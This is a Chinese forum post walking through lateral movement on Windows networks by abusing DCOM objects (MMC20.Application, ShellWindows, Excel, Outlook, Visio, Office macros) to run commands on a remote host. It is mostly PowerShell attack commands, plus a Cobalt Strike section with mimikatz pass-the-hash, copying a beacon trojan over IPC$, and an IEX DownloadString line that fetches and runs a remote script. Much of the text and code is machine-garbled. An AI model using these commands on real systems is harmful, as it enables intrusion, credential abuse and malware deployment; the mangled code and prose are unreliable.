电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 906 人浏览分享

横向移动:使用COM对象进行横向移动的一些探讨

[复制链接]
906 0
本帖最后由 zhaorong 于 2021-11-17 15:16 编辑

前言

DCOM是COM(组件对象模型)的扩展它允许应用程序实例化COM的对象属性和方法就
像使用基于DCERPC的DCOM协议在本地计算机上的对象一样。每个COM(DCOM和)的对象标识实现配状语从句:
置的信息存储在注册表A.中并与一些重要的价格相关链接:

CLSID

-所述类用户是一个GUID对象可以单独注册一个COM类的专有信息并且每个类都在CLSID相关联COM没有
使用这超出了译者的范围)表中的CLSID密钥对象实例类的实现,如果是基于DLL的则使用InProcServer32中子项。
如果是EXE则使用LocalServer32项。

程序ID

-该节目编程是一个可选的,其可被材料对用户更友好。因为它没有坚持的CLSID恐的
惧GUID格式(“System.AppDomainManager”,例如是比GUID容易得的)多.ProgID不能
保证是唯一的。并且与CLSID不同的不是每个类都与ProgID相关联。

- 应用程序调用用于指定一个的配置或多个COM对象与该相关的相关联这包括有哪些
组的权限以在本地和远程实例化访问关联的类是

为了使DCOM可以访问COM对象,必须将AppID与该类的CLSID关联,并且需要为该AppID提供适当
的权限没有关联的AppID的COM对象不能从远程计算机直接访问。

在powershell中我们可以使用

get-CimInstance来一个本地COM程序列表

QQ截图20211117141718.png

1744.png

也可以使用OleView .NET了来展示

QQ截图20211117141835.png

远程DCOM对象的实例表现如下:

客户端计算机从远程计算机请求实例化表示由CLSID的对象。如果客户端使用ProgID则首先将其本地解析为CLSID。
远程计算机检查是否存在与所讨论的CLSID关联的AppID ,并客户端的权限。
一切,然后DCOMLaunch服务将创建所的实例,通常是通过运行LocalServer32项的文件
或者通过InProcServer32子项引用的dll来创建创建DllHost工程流程。
在客户端应用程序和后台进程中之间建立通信。在当前情况下新过程是在与 DCOM 通信连接的会话中创建的。
然后,客户端可以访问新创建的对象的成员和方法。

所以我们给出默认的思路就是一些默认的权限(Launch Permission)的COM程序来进行利用

可以利用的DCOM

这里说的是公开的。

1.EXCEL DDE

首先创建“ ”对象的实例这里我们使用ProgID
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">","10.10.10.10"))</font></font>
复制代码

QQ截图20211117142049.png

使用DDEInitate(“cmd.exe”,"/c calc,exe")

133.png

但是目标主机会有一个提示。所以我们需要关闭它

QQ截图20211117142214.png

的例子是:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","10.10.10.10")) </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a.DisplayAlerts = $false //DisplayAlerts 属性控制DDEInitiate 提出的警报。 false 为关</font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a.DDEInitiate("cmd","/c calc,exe")</font></font>
复制代码

QQ截图20211117142309.png

Excel的进程运行我们的命令并尝试与上述应用程序建立DDE通道失败时返回错误代码但命令继续运行。

2. MMC20应用。

创建“MMC20.Application”对象的实例并利用:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","10.10.10.10")). </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Doc ment.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe "、"恢复")</font></font>
复制代码

39.png

3.壳窗

创建ShellWindows对象的实例:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A44 </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">2-00A0C90A8F39","10.10.10.10")) | </font><font style="vertical-align: inherit;">获取会员</font></font>
复制代码

使用“Document.Application”属性的“ShellExecute”方法运行任意命令:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C9 </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">0A8F39","10.10.10.10")).Document.Application.ShellExecute("cmd.exe", " /c clac.exe"."c:\w </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">indows32\system",$null,0)</font></font>
复制代码

38.png

说明:
与其他方法不同ShellWindows不会创建过程相反,它会激活存在的explorer.exe的内部类实例该进
程在执行子进程为了进行通信,explorer.exeDCOM主机端口上打开了一个侦听最终该完美结局应明
确标志此技术

4.浏览外壳器窗口显示

首先创建³³ShellBrowserWindow对象的实例:

36.png

复制GUID
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">1-11D1-8455-00A0C91F3880","10.10.10.10"))</font></font>
复制代码

32.png

我们无法通过“Document.Application”属性的“ShellExecute”方法运行命令
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">0C91F3880","10.10.10.10")).Document.Application.shellExecute("calc.exe")</font></font>
复制代码

31.png

与ShellWindows一样的方法由现有的explorer.exe进程启动。 再次具有监听知识的explorer.exe进程的动态。

5.VISIO插件应用

程序不是默认办公室安装的图片没有连接,但提供了可横向的移动的DCOM对象。
创建Visio对象的实例。这可以通过Visio.Application ProgID或通过Visio.InvisibleApp ProgID完成:
这里使用的是ProgID
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]:: </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">GetTypeFromPro gID("Visio.Application","10.10.10.10"))</font></font>
复制代码

30.png

的Visio插件可以实现为独立过程并且Visio中将网求允许任何可执行的文件作为自定义插
件加载这可以执行命令:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Applicat </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">ion","10.10.10.10")).[0].document.app;ication.shellExecute("calc")</font></font>
复制代码

注意:

目标主机中安装有视觉无法成功。

6.展望

在Outlook中允许实例化和远程对象COM对象通过创建对象可以通过创建对象攻击
者可以与远程计算机上的COM进行交互。会被DCOM公开。

创建Outlook对象的实例
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]:: </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">GetTypeFromPro ogID("Outlook.APPLICATION","10.10.10.10"))</font></font>
复制代码

可以通过Outlook创建Shell.Application对象来实现命令行执行:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]:: </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">GetTypeFromProgID </font><font style="vertical-align: inherit;">("Outlook.APP </font><font style="vertical-align: inherit;">LICATION","10.10.10.10")) .createObject("Shell.Application") </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a.shellExecute(calc.exe)</font></font>
复制代码

该命令作为Outlook的直接子进程运行。
注意-将“Shell.Application”(已加载的shell32.dll中实现)对象替换为
Wscript.Shell。

7. Excel XLL(Excel进程加载恶意的DLL)

XLL库可以扩展的Excel,XLL库只是导出特定功能的DLL.Excel.Application通对象
过RegisterXLL方法利用此功能。
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.APPLICA </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">TION","10.10.10.10")) .RegisterXLL("我们的恶意DLL路径")</font></font>
复制代码

8. 任意播放

通过CreateObject和ScriptControl执行OutlookScript

使用Outlook访问ScriptControl COM类我们可以利用该字符串运行以字符串格式提供的脚本:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]:: </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">GetTypeFromProgID </font><font style="vertical-align: inherit;">("Outlook.APP </font><font style="vertical-align: inherit;">LICATION","10.10.10.10")) .CreateObject("b") </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$b.language = "VBScript" </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$b.AddCode ('CreateObject("Wcript.Shell").Exec("Calc.exe")')</font></font>
复制代码

ScriptControl 对象是在 msscript 中。ocx 中实现的很少使用。并且合法地加载对象的 Outlook 实例是
非常这种食欲的现象。此外,我们可以加载 jscript.dll 或 vbscript.dll 来运行
脚本场景。限制-ScriptControl对象在32位版本中可用。由于64位进程无法加载32位INPROC对象
因此64位的Outlook与该对象进行交互。

Visio中对象提供了一种直接方法可以使用“ExecuteLine”方法从字符串运行VBA的任何代码:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$a = [activator]::CreateInstance([type]::GetTypeFromProgID("a.invisibleapp","10.10.10.10")) </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$b = $a.documents.Add("") </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$b.Executeline('CreateObject ("wscript.Shell").exec("calc.exe")')</font></font>
复制代码

VBE7.dll和的scrrun.dll已加载到的Visio中进程
注意-。ExecuteLine允许执行一行代码通过仅使用冒号(:)符号将操
方法动词}在一行上可以绕过此操作

9.OFFICE无文件宏执行

局中的VBA模型引擎通常的英文无法通过编程实现的需要通过每个应用程序的属
性菜单中的对Visual Basic中项目的信任访问选项来实现。
也可以通过每个注册表中相关的办公应用程序HKCU\Software\Microsoft\Office\<office version>\<office application
name>\Security\accessVBOM的值来完成此操作。将这些值远程设置为1(例如,通过WMI)将VBA宏注入并执行到Excel
Word,PowerPoint 和 Access 中。而不必首先提供文档文件的有效负载。

我们使用的宏来运行calc.exe:

下面是我们的宏代码
  1. $a = '子执行()'
  2. CreateObject("Wscript.Shell").Exec("calc.exe")

  3. 结束子
  4. 子自动打开()
  5. 执行
  6. 结束子'
复制代码

通过Excel执行:
  1. $b = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.application"))
  2. $c = $b.Workbooks.Add("")
  3. $c.VBProject.VBComponents(1).codeModule.ADDFromString($a) //
  4. 注意:这里加载我们上面的宏代码
  5. $b.run("Book1!ThisWorkbook.Execute")
  6. $b.退出()
复制代码

通过字执行:
  1. $b = [activator]::CreateInstance([type]::GetTypeFromProgID("word.application"))
  2. $c = $b.Documents.Add("")
  3. $c.VBProject.VBComponents(1).codeModule.ADDFromString($a) //
  4. 注意:这里加载我们上面的宏代码
  5. $c.runAutoMacro(2)
  6. $b.退出()
复制代码

通过PowerPoint执行:
  1. $ppt = [activator]::CreateInstance([type]::GetTypeFromProgID("Powerpoint.Applicatiion"))
  2. $pres = $ppt.Presentations.add(1)
  3. $vbs = $pres.VBProject.VbComponents.add(1)
  4. $vbs.CodeModule.AddFromString($a)
  5. $ppt.Run("执行")
  6. $ppt.退出()
复制代码

通过访问执行:
  1. $access = [activator]::CreateInstance([type]::GetTypeFromProgID("access.Application"))
  2. $db = $access.NewCurrentDatbase("Fake_name")
  3. $vbc = access.vbe,V8projects(1).VBSComponents.Add(1)
  4. $vbc.CodeModule.AddFromString($a)
  5. $access.Run("执行")
  6. $access.Quit()
复制代码

使方法需要对部分可以维修项进行,而这些疗法很少会被远程调用并且被不良宏使用。
这里还有一些应用程序加载 Visual Basic 环境(vbe7.dll)库。此外,由于需要保存文档。因此任何应用程
序创建³³新文档都会使退出方法失败。处理以不显眼的方式取消父办公室进程。从而避免使程序继续运行在
后停留环境中徘徊与其他应用不同,访问目标了一个额外的对象需要实际创建一个数据库文件,其保存到
攻击者在磁盘上选择的位置。然后才能插入并执行宏。

注意:在 64 位的 Windows 上安装 32 位办公室不会为相关应用程序注册 appID

横向移动-使用MMC20.APPLICATION COM复对象现

基础知识

使用PowerShell中进行通信

注意:这里我使用的是PowerShell中根据微软的说法我们可以使用任何语言
。来与COM进行通信
PowerShell的构建与已经.NET框架相比而框架提供了对COM的近乎完美的支持。比如
用.NET的机制可以获取封装COM对象的.NET类的类型,用Activator这个创建类的实例。

已知的知识我们就可以构造出使用Powershell跟COM通信的语句了:
例如跟MMC20.APPlication工程师
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">PS C:\Windows\system32> $a = [type]::GetTypeFromProgID("MMC20.application") //从GetT </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">ypeFromProgID()方法取回的类型的别名配对“-ComObject” </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">PS C:\Windows\system32 > $一个//可以看到读取回来了//所有的COM对</font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">象都被封装为这个类型</font></font>
复制代码

29.png

  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">PS C:\Windows\system32> $b = [activator]::createInstance($a) //通过Activator类的Create </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Instance()方法来实例化一个对像Activator对象创建.NET对象</font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">PS C:\Windows\ system32> $b</font></font>
复制代码

28.png

最后我们通过powershell的get-member方法来读取详细的值
PS C:\Windows\system32> $b | get-Member //get-Member
cmdlet 获取对象的成员属性和方法

26.png

获取DCOM程序列表

在powershell中我们可以使用来获取本地的DCOM程序列表
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Get-cimInstance win32_Dcomapplication</font></font>
复制代码

22.png

在windows7,windows server 2008中默认安装powershell的版本是powershell 2.0
powershell 2.0 不支持Get-CimInstance,如果在powershell 2.0中的话我们可以按照命令
替换Get-cimInstance本地本地的DCOM程序列表
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Get-WmiObject -nameSpace root\cimv2 -class win32_dcomapplication</font></font>
复制代码

21.png

20.png

我们也可以远程程序目标本地的DCOM

在Cobat Strike中进入一个信标
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">信标>shell powershell.exe Get-WmiObject -nameSpace root\cimv2 -class </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">s win32_dcomapplication </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    //目标机器是Windows7也就是powershell2.0 所以我们使用Get-Wm </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">iObject -nameSpace root\cimv2 -class</font></font>
复制代码

19.png

同理在MSF等等壳C2中也可以。

使用MMC20.APPLICATION COM对象

我们来看看什么的英文MMC20.APPLICATION

从微软的文档中我们可以知道
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">https://docs.microsoft.com/en-us/previous-versions/system-center/configur</font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">通货膨胀经理-2003 / cc181199(V = technet.10)?redirectedfrom = MSDN</font></font>
复制代码

微软管理(MMC)2.0包括脚本对象模型。
该对象模型可用于控制大多数短信管理员挖掘功能。
通过使用WSH的SendKeys对象(可以模拟键盘输入)可以控制MMC 2.0脚本对象模型无法控制的任何功能。
如果可以通过键盘控制该功能,发送按钮可以进行控制。发送攻击可用于控制大多数
管理员验证但 MMC 2.0因为脚本对象模型更
可靠。则可以将密钥定向到错误的应用程序。

简单来说就是牛逼MMC20.APPLICATION重点不是
在Document.ActiveView下有一个命名方法“ExecuteShellCommand”才是的要我们关注的对象
利用攻击不是我们的目标,学习如何发现该利用才是我们的目标。
1.我们在MMC20.APPLICATION中的模块
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">PS C:\Windows\system32> [activator]::CreateInstance([type]:: </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">GetTypeFro mProgID("MMC20.application")) | </font><font style="vertical-align: inherit;">获取成员</font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">   //根据前面的“任何使用PowerShell进行通信”我们可以构造这样的语句</font></font>
复制代码

2.继续文档中的属性

  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">[激活器]::CreateInstance([type]::GetTypeFromProgID("MMC20.application </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">")).Document | </font><font style="vertical-align: inherit;">获取会员</font></font>
复制代码

18.png

3.继续文档.ArtiveView中的属性
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">[激活器]::CreateInstance([type]::GetTypeFromProgID("MMC20.application </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">")).Document.ActiveView | </font><font style="vertical-align: inherit;">获取会员</font></font>
复制代码

17.png

看到我们的利用点了
ExecuteShellCommand 方法 void ExecuteShellComm
和(字符串,字符串,可以字符串,字符串)

从方法中我们也能知道执行 shell 命令了。

那我们可以去微软的文档看看 ExecuteShellCommand 调用的方法

16.png

参量
嘴巴
所有一个值指定要执行的命令。可以指定标准路径命令中包含的环境
变量(例如%windir%)都将被扩展
目录
一个值,用于指定工作目录的名称。目录中包含的所有环境如果目录
为空字符串,则将当前目录目录工作目录。
参量
一个指定的命令要使用的参数(如果有)的值;例如将指定的参数为Param1 Param2 会
导致接收到Param1 和参数
2作为参数。使用适合您的编程语言的技术。例如在Microsoft Visual Basic中将参数指定为Param1Param2
导致接收到参数1和Param2。
窗口状态
一个指定窗口状态的值。该值是以下字符串值一个也可以是空字符串如果
为空字符串则可以默认为已恢复。
需要
命令在窗口中执行。
最小化
该命令在最小化窗口中执行。
恢复
该命令在已恢复。或正常的窗口中执行注意:会这里弹个黑框框
报道查看值
此方法不报道查看值。

阅读微软文档我们知道该ExecuteShellCommand了执行命令的英文没有报道查看值的方法没有回显还
有我们需要4个值(字符串)来调用。
那我们可以构造为
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">ExecuteShellCommand([命令][目录][叁数][窗口状态])</font></font>
复制代码

我们从本地弹个计算器看看吧
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")). </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Docume nt.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")</font></font>
复制代码

12.png

本地是没有问题的,但是我们需要横向移动要在目标机器远程执行命令。

2.0远程利用执行命令(横向移动)

我们DCOM(能力组件对象模型)具有通过网络与对象进行交互的。
管理员我们可以使用“GetTypeFromProgID()与PowerShell进行DCOM远程交互。注意:远程执行
命令需要与目标Kerberos v5验证身份。认证之后才能进行通信。
通过阅读微软(https://docs.microsoft.com/en-us/ ) previous-versions/ms741629 (v=vs.85))
的文档我们可以构造出:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">GetTypeFromProgID("COM","远程ip")</font></font>
复制代码

那最后的语句就是
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,"远程ip")).Document.ActiveView.Executeshellcommand </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">('cmd.exe',$null,"/c calc.exe" , “恢复”)</font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    //在远程主机上利用MMC.app;ication执行弹出计算器</font></font>
复制代码

这里我搭了个内网靶机
拿下的主机ip:10.10.10.8(内网)192.168.50.148(外网)
横向的目标主机ip:10.10.10.10

命令:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">","10.10.10.10")).Document.ActiveView.Executeshellcommand('cm </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">d.exe',$null,"/c calc. exe" ,"恢复")</font></font>
复制代码

看看10.10.10.10主机

11.png

计算器在运行了显示执行成功

3.0实战域,

我们可以使用这种技术在远程主机上执行一匹马这里表示我们拿一级木头管理员权限的
主机并且可以抓取内域主机的一些密度。
需要满足:
管理员权限
有狂暴公系

例如Cobalt Strike的信标。由于这是横向移动技术,因此需要远程主机的管理特权:
我们可以远程使用无文件执行一个ps1上线

我们建立一个ipc$链接

这里我们使用mimikatz来进行哈希传递来建立一个Kerberos v5身份验证的信任关系
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">信标>mimikatz sekurlsa::pth /domian:10.10.10.10 /user:administrator /ntl </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">m:161cff084477fe596a5db81874498a24</font></font>
复制代码

10.png

2.查看是否建立起来IPC$链接

信标>shell dir \\10.10.1010\c$链接了。如果远程主机的目录成功就显示IPC$

9.png

3.使用Cobat Strike生成给内网​​ 中转的木马

新建一个中转的听众

8.png

生成木马

6.png

上传木马到我们拿下的主机中

5.png

使用copy命令来通过$把木马上传到横向的目标中(这里演示,战中看具体环境进行传输)
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">信标> shell copy C:\Users\administrator.WEB\Desktop\beacon123.exe \\10.10.10.10\c$</font></font>
复制代码

3.png

看到新的主机开始横向瞬间了
2.png

在使用IPC$传输文件时如果让拦截了我们可以使用powershell等传输进行或者使用
MMC20.APPLICATION调用powershell直接远程加载PS1上线。
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","10.10.10.10")).Doc </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">ument.ActiveView.Executeshellcommand('powershell.exe',$null,"IEX(New-Object) Net) .WebCline </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">t).DownloadString('http://www.cn0sec.cn/bad.ps1')","已恢复")</font></font>
复制代码

作用

我们知道有很多横向移动可以进行Windows系统的横向移动。
一些技术包括ps exec WMI,在计划任务和WinRM(如果已经可以看到)。
使用DCOM来进行横向使用的是[MS-RPC]中指定的远程调用过程协议的
可以隐蔽地横向移动。

1.png

这里补一句,大家都看到了在执行命令后Cobalt Strike中上线的权限为管理员权限然后为什么会这样?
是因为微软在MMC20.APPLICATION中并没有默认设置LaunchPermission值默认使用的
是DefaultLaunchPermission值。

在微软文档中我们可以看到:
此值提供了对默认启动访问的简单级别的集中管理,该默认启动访问是对计算机上其他未管理类的访问。
例如,管理员可以使用 DCOMCNFG 工具将配置为允许超级用户进行只读系统访问。 。
因此,OLE 启动启动类代码的请求限制为 Power Users 的成员管理员可以为单个类配置启动权限
以根据需要其他组或个别用户启动类代码的启动权限

默认访问权限如下:

管理员:允许
系统:允许启动
互动:允许启动

https://docs.microsoft.com/zh-cn/windows/win32/com/defaultlaunchpermission

允许在默认的DefaultLaunchPermission值中我们可以进行远程利用并是管理员权限执行。

总结

使用MMC20.APPLICATION COM来对象进行横向移动不是什么新的补丁了我们需要学
习方法的发现状语从句:利用原理,这样才能对我们有帮助。
只有这样我们才可以尝试学习并找到新的。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.